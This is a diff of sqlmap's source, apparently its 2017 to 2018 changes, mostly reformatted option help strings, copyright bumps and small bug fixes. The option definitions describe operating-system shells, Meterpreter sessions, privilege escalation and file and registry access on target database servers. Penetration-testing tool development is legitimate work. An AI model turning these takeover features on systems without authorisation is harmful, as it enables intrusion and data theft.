enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", enumeration.add_option("--exclude-sysdbs", dest="excludeSysDbs", action="store_true",
action="store_true", help="Exclude DBMS system databases when enumerating tables")
help="Exclude DBMS system databases when "
"enumerating tables")
enumeration.add_option("--pivot-column", dest="pivotColumn", enumeration.add_option("--pivot-column", dest="pivotColumn",
help="Pivot column name") help="Pivot column name")
@@ -496,17 +441,14 @@ def cmdLineParser(argv=None):
enumeration.add_option("--sql-query", dest="query", enumeration.add_option("--sql-query", dest="query",
help="SQL statement to be executed") help="SQL statement to be executed")
enumeration.add_option("--sql-shell", dest="sqlShell", enumeration.add_option("--sql-shell", dest="sqlShell", action="store_true",
action="store_true",
help="Prompt for an interactive SQL shell") help="Prompt for an interactive SQL shell")
enumeration.add_option("--sql-file", dest="sqlFile", enumeration.add_option("--sql-file", dest="sqlFile",
help="Execute SQL statements from given file(s)") help="Execute SQL statements from given file(s)")
# Brute force options # Brute force options
brute = OptionGroup(parser, "Brute force", "These " brute = OptionGroup(parser, "Brute force", "These options can be used to run brute force checks")
"options can be used to run brute force "
"checks")
brute.add_option("--common-tables", dest="commonTables", action="store_true", brute.add_option("--common-tables", dest="commonTables", action="store_true",
help="Check existence of common tables") help="Check existence of common tables")
@@ -515,9 +457,7 @@ def cmdLineParser(argv=None):
help="Check existence of common columns") help="Check existence of common columns")
# User-defined function options # User-defined function options
udf = OptionGroup(parser, "User-defined function injection", "These " udf = OptionGroup(parser, "User-defined function injection", "These options can be used to create custom user-defined functions")
"options can be used to create custom user-defined "
"functions")
udf.add_option("--udf-inject", dest="udfInject", action="store_true", udf.add_option("--udf-inject", dest="udfInject", action="store_true",
help="Inject custom user-defined functions") help="Inject custom user-defined functions")
@@ -526,79 +466,55 @@ def cmdLineParser(argv=None):
help="Local path of the shared library") help="Local path of the shared library")
# File system options # File system options
filesystem = OptionGroup(parser, "File system access", "These options " filesystem = OptionGroup(parser, "File system access", "These options can be used to access the back-end database management system underlying file system")
"can be used to access the back-end database "
"management system underlying file system")
filesystem.add_option("--file-read", dest="rFile", filesystem.add_option("--file-read", dest="rFile",
help="Read a file from the back-end DBMS " help="Read a file from the back-end DBMS file system")
"file system")
filesystem.add_option("--file-write", dest="wFile", filesystem.add_option("--file-write", dest="wFile",
help="Write a local file on the back-end " help="Write a local file on the back-end DBMS file system")
"DBMS file system")
filesystem.add_option("--file-dest", dest="dFile", filesystem.add_option("--file-dest", dest="dFile",
help="Back-end DBMS absolute filepath to " help="Back-end DBMS absolute filepath to write to")
"write to")
# Takeover options # Takeover options
takeover = OptionGroup(parser, "Operating system access", "These " takeover = OptionGroup(parser, "Operating system access", "These options can be used to access the back-end database management system underlying operating system")
"options can be used to access the back-end "
"database management system underlying "
"operating system")
takeover.add_option("--os-cmd", dest="osCmd", takeover.add_option("--os-cmd", dest="osCmd",
help="Execute an operating system command") help="Execute an operating system command")
takeover.add_option("--os-shell", dest="osShell", takeover.add_option("--os-shell", dest="osShell", action="store_true",
action="store_true", help="Prompt for an interactive operating system shell")
help="Prompt for an interactive operating "
"system shell")
takeover.add_option("--os-pwn", dest="osPwn", takeover.add_option("--os-pwn", dest="osPwn", action="store_true",
action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC")
help="Prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-smbrelay", dest="osSmb", takeover.add_option("--os-smbrelay", dest="osSmb", action="store_true",
action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC")
help="One click prompt for an OOB shell, "
"Meterpreter or VNC")
takeover.add_option("--os-bof", dest="osBof", takeover.add_option("--os-bof", dest="osBof", action="store_true",
action="store_true",
help="Stored procedure buffer overflow " help="Stored procedure buffer overflow "
"exploitation") "exploitation")
takeover.add_option("--priv-esc", dest="privEsc", takeover.add_option("--priv-esc", dest="privEsc", action="store_true",
action="store_true",
help="Database process user privilege escalation") help="Database process user privilege escalation")
takeover.add_option("--msf-path", dest="msfPath", takeover.add_option("--msf-path", dest="msfPath",
help="Local path where Metasploit Framework " help="Local path where Metasploit Framework is installed")
"is installed")
takeover.add_option("--tmp-path", dest="tmpPath", takeover.add_option("--tmp-path", dest="tmpPath",
help="Remote absolute path of temporary files " help="Remote absolute path of temporary files directory")
"directory")
# Windows registry options # Windows registry options
windows = OptionGroup(parser, "Windows registry access", "These " windows = OptionGroup(parser, "Windows registry access", "These options can be used to access the back-end database management system Windows registry")
"options can be used to access the back-end "
"database management system Windows "
"registry")
windows.add_option("--reg-read", dest="regRead", windows.add_option("--reg-read", dest="regRead", action="store_true",
action="store_true",
help="Read a Windows registry key value") help="Read a Windows registry key value")
windows.add_option("--reg-add", dest="regAdd", windows.add_option("--reg-add", dest="regAdd", action="store_true",
action="store_true",
help="Write a Windows registry key value data") help="Write a Windows registry key value data")
windows.add_option("--reg-del", dest="regDel", windows.add_option("--reg-del", dest="regDel", action="store_true",
action="store_true",
help="Delete a Windows registry key value") help="Delete a Windows registry key value")
windows.add_option("--reg-key", dest="regKey", windows.add_option("--reg-key", dest="regKey",
@@ -614,25 +530,21 @@ def cmdLineParser(argv=None):
help="Windows registry key value type") help="Windows registry key value type")
# General options # General options
general = OptionGroup(parser, "General", "These options can be used " general = OptionGroup(parser, "General", "These options can be used to set some general working parameters")
"to set some general working parameters")
general.add_option("-s", dest="sessionFile", general.add_option("-s", dest="sessionFile",
help="Load session from a stored (.sqlite) file") help="Load session from a stored (.sqlite) file")
general.add_option("-t", dest="trafficFile", general.add_option("-t", dest="trafficFile",
help="Log all HTTP traffic into a " help="Log all HTTP traffic into a textual file")
"textual file")
general.add_option("--batch", dest="batch", general.add_option("--batch", dest="batch", action="store_true",
action="store_true", help="Never ask for user input, use the default behavior")
help="Never ask for user input, use the default behaviour")
general.add_option("--binary-fields", dest="binaryFields", general.add_option("--binary-fields", dest="binaryFields",
help="Result fields having binary values (e.g. \"digest\")") help="Result fields having binary values (e.g. \"digest\")")
general.add_option("--check-internet", dest="checkInternet", general.add_option("--check-internet", dest="checkInternet", action="store_true",
action="store_true",
help="Check Internet connection before assessing the target") help="Check Internet connection before assessing the target")
general.add_option("--crawl", dest="crawlDepth", type="int", general.add_option("--crawl", dest="crawlDepth", type="int",
@@ -642,8 +554,7 @@ def cmdLineParser(argv=None):
help="Regexp to exclude pages from crawling (e.g. \"logout\")") help="Regexp to exclude pages from crawling (e.g. \"logout\")")
general.add_option("--csv-del", dest="csvDel", general.add_option("--csv-del", dest="csvDel",
help="Delimiting character used in CSV output " help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel)
"(default \"%s\")" % defaults.csvDel)
general.add_option("--charset", dest="charset", general.add_option("--charset", dest="charset",
help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") help="Blind SQL injection charset (e.g. \"0123456789abcdef\")")
@@ -654,35 +565,28 @@ def cmdLineParser(argv=None):
general.add_option("--encoding", dest="encoding", general.add_option("--encoding", dest="encoding",
help="Character encoding used for data retrieval (e.g. GBK)") help="Character encoding used for data retrieval (e.g. GBK)")
general.add_option("--eta", dest="eta", general.add_option("--eta", dest="eta", action="store_true",
action="store_true",
help="Display for each output the estimated time of arrival") help="Display for each output the estimated time of arrival")
general.add_option("--flush-session", dest="flushSession", general.add_option("--flush-session", dest="flushSession", action="store_true",
action="store_true",
help="Flush session files for current target") help="Flush session files for current target")
general.add_option("--forms", dest="forms", general.add_option("--forms", dest="forms", action="store_true",
action="store_true",
help="Parse and test forms on target URL") help="Parse and test forms on target URL")
general.add_option("--fresh-queries", dest="freshQueries", general.add_option("--fresh-queries", dest="freshQueries", action="store_true",
action="store_true",
help="Ignore query results stored in session file") help="Ignore query results stored in session file")
general.add_option("--har", dest="harFile", general.add_option("--har", dest="harFile",
help="Log all HTTP traffic into a HAR file") help="Log all HTTP traffic into a HAR file")
general.add_option("--hex", dest="hexConvert", general.add_option("--hex", dest="hexConvert", action="store_true",
action="store_true",
help="Use DBMS hex function(s) for data retrieval") help="Use DBMS hex function(s) for data retrieval")
general.add_option("--output-dir", dest="outputDir", general.add_option("--output-dir", dest="outputDir", action="store",
action="store",
help="Custom output directory path") help="Custom output directory path")
general.add_option("--parse-errors", dest="parseErrors", general.add_option("--parse-errors", dest="parseErrors", action="store_true",
action="store_true",
help="Parse and display DBMS error messages from responses") help="Parse and display DBMS error messages from responses")
general.add_option("--save", dest="saveConfig", general.add_option("--save", dest="saveConfig",
@@ -697,8 +601,7 @@ def cmdLineParser(argv=None):
general.add_option("--test-skip", dest="testSkip", general.add_option("--test-skip", dest="testSkip",
help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") help="Skip tests by payloads and/or titles (e.g. BENCHMARK)")
general.add_option("--update", dest="updateAll", general.add_option("--update", dest="updateAll", action="store_true",
action="store_true",
help="Update sqlmap") help="Update sqlmap")
# Miscellaneous options # Miscellaneous options
@@ -716,44 +619,34 @@ def cmdLineParser(argv=None):
miscellaneous.add_option("--beep", dest="beep", action="store_true", miscellaneous.add_option("--beep", dest="beep", action="store_true",
help="Beep on question and/or when SQL injection is found") help="Beep on question and/or when SQL injection is found")
miscellaneous.add_option("--cleanup", dest="cleanup", miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true",
action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables")
help="Clean up the DBMS from sqlmap specific "
"UDF and tables")
miscellaneous.add_option("--dependencies", dest="dependencies", miscellaneous.add_option("--dependencies", dest="dependencies", action="store_true",
action="store_true",
help="Check for missing (non-core) sqlmap dependencies") help="Check for missing (non-core) sqlmap dependencies")
miscellaneous.add_option("--disable-coloring", dest="disableColoring", miscellaneous.add_option("--disable-coloring", dest="disableColoring", action="store_true",
action="store_true",
help="Disable console output coloring") help="Disable console output coloring")
miscellaneous.add_option("--gpage", dest="googlePage", type="int", miscellaneous.add_option("--gpage", dest="googlePage", type="int",
help="Use Google dork results from specified page number") help="Use Google dork results from specified page number")
miscellaneous.add_option("--identify-waf", dest="identifyWaf", miscellaneous.add_option("--identify-waf", dest="identifyWaf", action="store_true",
action="store_true",
help="Make a thorough testing for a WAF/IPS/IDS protection") help="Make a thorough testing for a WAF/IPS/IDS protection")
miscellaneous.add_option("--mobile", dest="mobile", miscellaneous.add_option("--mobile", dest="mobile", action="store_true",
action="store_true",
help="Imitate smartphone through HTTP User-Agent header") help="Imitate smartphone through HTTP User-Agent header")
miscellaneous.add_option("--offline", dest="offline", miscellaneous.add_option("--offline", dest="offline", action="store_true",
action="store_true",
help="Work in offline mode (only use session data)") help="Work in offline mode (only use session data)")
miscellaneous.add_option("--purge-output", dest="purgeOutput", miscellaneous.add_option("--purge-output", dest="purgeOutput", action="store_true",
action="store_true",
help="Safely remove all content from output directory") help="Safely remove all content from output directory")
miscellaneous.add_option("--skip-waf", dest="skipWaf", miscellaneous.add_option("--skip-waf", dest="skipWaf", action="store_true",
action="store_true",
help="Skip heuristic detection of WAF/IPS/IDS protection") help="Skip heuristic detection of WAF/IPS/IDS protection")
miscellaneous.add_option("--smart", dest="smart", miscellaneous.add_option("--smart", dest="smart", action="store_true",
action="store_true",
help="Conduct thorough tests only if positive heuristic(s)") help="Conduct thorough tests only if positive heuristic(s)")
miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true", miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
@@ -765,8 +658,7 @@ def cmdLineParser(argv=None):
miscellaneous.add_option("--web-root", dest="webRoot", miscellaneous.add_option("--web-root", dest="webRoot",
help="Web server document root directory (e.g. \"/var/www\")") help="Web server document root directory (e.g. \"/var/www\")")
miscellaneous.add_option("--wizard", dest="wizard", miscellaneous.add_option("--wizard", dest="wizard", action="store_true",
action="store_true",
help="Simple wizard interface for beginner users") help="Simple wizard interface for beginner users")
# Hidden and/or experimental options # Hidden and/or experimental options
@@ -791,6 +683,9 @@ def cmdLineParser(argv=None):
parser.add_option("--force-dns", dest="forceDns", action="store_true", parser.add_option("--force-dns", dest="forceDns", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
parser.add_option("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS_HELP)
parser.add_option("--force-threads", dest="forceThreads", action="store_true", parser.add_option("--force-threads", dest="forceThreads", action="store_true",
help=SUPPRESS_HELP) help=SUPPRESS_HELP)
@@ -909,7 +804,7 @@ def cmdLineParser(argv=None):
for arg in shlex.split(command): for arg in shlex.split(command):
argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv.append(getUnicode(arg, encoding=sys.stdin.encoding))
except ValueError, ex: except ValueError, ex:
raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % ex.message)
for i in xrange(len(argv)): for i in xrange(len(argv)):
if argv[i] == "-hh": if argv[i] == "-hh":
@@ -976,9 +871,7 @@ def cmdLineParser(argv=None):
if args.dummy: if args.dummy:
args.url = args.url or DUMMY_URL args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, \ if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, args.purgeOutput, args.sitemapUrl)):
args.requestFile, args.updateAll, args.smokeTest, args.liveTest, args.wizard, args.dependencies, \
args.purgeOutput, args.sitemapUrl)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), " errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --wizard, --update, --purge-output or --dependencies), "
errMsg += "use -h for basic or -hh for advanced help\n" errMsg += "use -h for basic or -hh for advanced help\n"
parser.error(errMsg) parser.error(errMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -13,7 +13,6 @@ from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
from lib.parse.handler import FingerprintHandler from lib.parse.handler import FingerprintHandler
def headersParser(headers): def headersParser(headers):
""" """
This function calls a class that parses the input HTTP headers to This function calls a class that parses the input HTTP headers to
@@ -31,11 +30,9 @@ def headersParser(headers):
"x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"), "x-powered-by": os.path.join(paths.SQLMAP_XML_BANNER_PATH, "x-powered-by.xml"),
} }
for header in itertools.ifilter(lambda x: x in kb.headerPaths, headers): for header in itertools.ifilter(lambda _: _ in kb.headerPaths, headers):
value = headers[header] value = headers[header]
xmlfile = kb.headerPaths[header] xmlfile = kb.headerPaths[header]
handler = FingerprintHandler(value, kb.headersFp) handler = FingerprintHandler(value, kb.headersFp)
parseXmlFile(xmlfile, handler) parseXmlFile(xmlfile, handler)
parseXmlFile(paths.GENERIC_XML, handler) parseXmlFile(paths.GENERIC_XML, handler)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -9,6 +9,7 @@ import re
from xml.sax.handler import ContentHandler from xml.sax.handler import ContentHandler
from lib.core.common import urldecode
from lib.core.common import parseXmlFile from lib.core.common import parseXmlFile
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import paths from lib.core.data import paths
@@ -26,6 +27,7 @@ class HTMLHandler(ContentHandler):
self._dbms = None self._dbms = None
self._page = (page or "") self._page = (page or "")
self._lower_page = self._page.lower() self._lower_page = self._page.lower()
self._urldecoded_page = urldecode(self._page)
self.dbms = None self.dbms = None
@@ -47,7 +49,7 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len) keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower() kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I): if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms self.dbms = self._dbms
self._markAsErrorPage() self._markAsErrorPage()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -78,7 +78,7 @@ def loadBoundaries():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
root = doc.getroot() root = doc.getroot()
parseXmlNode(root) parseXmlNode(root)
@@ -93,7 +93,7 @@ def loadPayloads():
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
root = doc.getroot() root = doc.getroot()
parseXmlNode(root) parseXmlNode(root)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None):
content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else ""
except httplib.InvalidURL: except httplib.InvalidURL:
errMsg = "invalid URL given for sitemap ('%s')" % url errMsg = "invalid URL given for sitemap ('%s')" % url
raise SqlmapSyntaxException, errMsg raise SqlmapSyntaxException(errMsg)
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""): for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
if abortedFlag: if abortedFlag:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -18,11 +18,13 @@ from lib.core.common import extractErrorMessage
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import isListLike
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.common import resetCookieJar from lib.core.common import resetCookieJar
from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeLogMessage
from lib.core.common import singleTimeWarnMessage from lib.core.common import singleTimeWarnMessage
from lib.core.common import unArrayizeValue
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@@ -59,7 +61,7 @@ def forgeHeaders(items=None, base=None):
if items[_] is None: if items[_] is None:
del items[_] del items[_]
headers = OrderedDict(base or conf.httpHeaders) headers = OrderedDict(conf.httpHeaders if base is None else base)
headers.update(items.items()) headers.update(items.items())
class _str(str): class _str(str):
@@ -108,7 +110,9 @@ def forgeHeaders(items=None, base=None):
kb.mergeCookies = readInput(message, default='Y', boolean=True) kb.mergeCookies = readInput(message, default='Y', boolean=True)
if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
_ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x) def _(value):
return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value)
headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])
if PLACE.COOKIE in conf.parameters: if PLACE.COOKIE in conf.parameters:
@@ -150,6 +154,9 @@ def checkCharEncoding(encoding, warn=True):
'utf8' 'utf8'
""" """
if isListLike(encoding):
encoding = unArrayizeValue(encoding)
if encoding: if encoding:
encoding = encoding.lower() encoding = encoding.lower()
else: else:
@@ -213,10 +220,6 @@ def checkCharEncoding(encoding, warn=True):
try: try:
codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding)
except (LookupError, ValueError): except (LookupError, ValueError):
if warn:
warnMsg = "unknown web page charset '%s'. " % encoding
warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS
singleTimeLogMessage(warnMsg, logging.WARN, encoding)
encoding = None encoding = None
if encoding: if encoding:
@@ -299,8 +302,7 @@ def decodePage(page, contentEncoding, contentType):
metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page)) metaCharset = checkCharEncoding(extractRegexResult(META_CHARSET_REGEX, page))
if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset)))\ if (any((httpCharset, metaCharset)) and not all((httpCharset, metaCharset))) or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
or (httpCharset == metaCharset and all((httpCharset, metaCharset))):
kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence kb.pageEncoding = httpCharset or metaCharset # Reference: http://bytes.com/topic/html-css/answers/154758-http-equiv-vs-true-header-has-precedence
debugMsg = "declared web page charset '%s'" % kb.pageEncoding debugMsg = "declared web page charset '%s'" % kb.pageEncoding
singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg) singleTimeLogMessage(debugMsg, logging.DEBUG, debugMsg)
@@ -328,7 +330,7 @@ def decodePage(page, contentEncoding, contentType):
kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page))
if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig": if (kb.pageEncoding or "").lower() == "utf-8-sig":
kb.pageEncoding = "utf-8" kb.pageEncoding = "utf-8"
if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling)
page = page[3:] page = page[3:]
@@ -384,7 +386,7 @@ def processResponse(page, responseHeaders, status=None):
continue continue
conf.paramDict[PLACE.POST][name] = value conf.paramDict[PLACE.POST][name] = value
conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST])
if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""):
kb.browserVerification = True kb.browserVerification = True

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -30,10 +30,8 @@ class SmartHTTPBasicAuthHandler(urllib2.HTTPBasicAuthHandler):
self.retried_count = 0 self.retried_count = 0
else: else:
if self.retried_count > 5: if self.retried_count > 5:
raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None)
headers, None)
else: else:
self.retried_count += 1 self.retried_count += 1
return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers)
self, auth_header, host, req, headers)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -106,14 +106,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
# Preventing "Unicode equal comparison failed to convert both arguments to Unicode" # Preventing "Unicode equal comparison failed to convert both arguments to Unicode"
# (e.g. if one page is PDF and the other is HTML) # (e.g. if one page is PDF and the other is HTML)
if isinstance(seqMatcher.a, str) and isinstance(page, unicode): if isinstance(seqMatcher.a, str) and isinstance(page, unicode):
page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') page = page.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
elif isinstance(seqMatcher.a, unicode) and isinstance(page, str): elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore') seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, "ignore")
if seqMatcher.a and page and seqMatcher.a == page: if any(_ is None for _ in (page, seqMatcher.a)):
ratio = 1 return None
elif seqMatcher.a and page and seqMatcher.a == page:
ratio = 1.
elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)): elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
ratio = 1.0 * len(seqMatcher.a) / len(page) if not page or not seqMatcher.a:
return float(seqMatcher.a == page)
else:
ratio = 1. * len(seqMatcher.a) / len(page)
if ratio > 1: if ratio > 1:
ratio = 1. / ratio ratio = 1. / ratio
else: else:

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -34,6 +34,7 @@ from lib.core.common import calculateDeltaSeconds
from lib.core.common import checkSameHost from lib.core.common import checkSameHost
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import escapeJsonValue
from lib.core.common import evaluateCode from lib.core.common import evaluateCode
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import findMultipartPostBoundary from lib.core.common import findMultipartPostBoundary
@@ -63,6 +64,7 @@ from lib.core.common import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.dicts import POST_HINT_CONTENT_TYPES
from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import ADJUST_TIME_DELAY
from lib.core.enums import AUTH_TYPE from lib.core.enums import AUTH_TYPE
@@ -118,7 +120,6 @@ from lib.request.methodrequest import MethodRequest
from thirdparty.odict.odict import OrderedDict from thirdparty.odict.odict import OrderedDict
from thirdparty.socks.socks import ProxyError from thirdparty.socks.socks import ProxyError
class Connect(object): class Connect(object):
""" """
This class defines methods used to perform HTTP requests This class defines methods used to perform HTTP requests
@@ -187,13 +188,13 @@ class Connect(object):
if not kb.dnsMode and conn: if not kb.dnsMode and conn:
headers = conn.info() headers = conn.info()
